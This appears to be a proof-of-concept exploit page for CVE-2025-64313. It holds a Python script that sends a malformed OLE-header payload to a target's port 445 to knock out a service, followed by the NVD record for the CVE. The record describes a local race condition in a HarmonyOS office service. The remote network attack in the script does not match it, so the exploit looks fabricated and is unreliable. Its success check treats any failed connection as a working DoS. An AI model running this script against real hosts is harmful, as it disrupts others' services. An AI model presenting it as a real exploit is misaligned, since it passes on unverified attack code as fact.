CVE-2025-64313

# CVE-2025-64313 PoC - Office Service DoS # This PoC demonstrates a potential DoS condition in Huawei Office Service # Note: Use only for authorized security testing import socket import sys import time def create_malicious_payload(): """Generate payload that may trigger DoS in Office Service""" # Malformed Office document structure payload = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE header payload += b'\x00' * 100 # Padding payload += b'\xff\xff\xff\xff' # Potentially problematic marker payload += b'\x00' * 500 return payload def exploit_office_service(target_ip, port=445): """Attempt to trigger DoS in Office Service""" try: print(f"[*] Connecting to {target_ip}:{port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, port)) print("[*] Sending malicious payload...") payload = create_malicious_payload() sock.send(payload) time.sleep(2) print("[*] Payload sent. Checking service status...") # Check if service is still responsive try: sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) sock2.connect((target_ip, port)) print("[-] Service still responsive") sock2.close() except: print("[+] Service appears to be non-responsive (DoS successful)") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 445 print(f"[*] CVE-2025-64313 PoC - Huawei Office Service DoS") exploit_office_service(target, port)

{"cve": {"id": "CVE-2025-64313", "sourceIdentifier": "[email protected]", "published": "2025-11-28T03:16:00.700", "lastModified": "2025-12-02T02:31:21.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial of service (DoS) vulnerability in the office service.\nImpact: Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}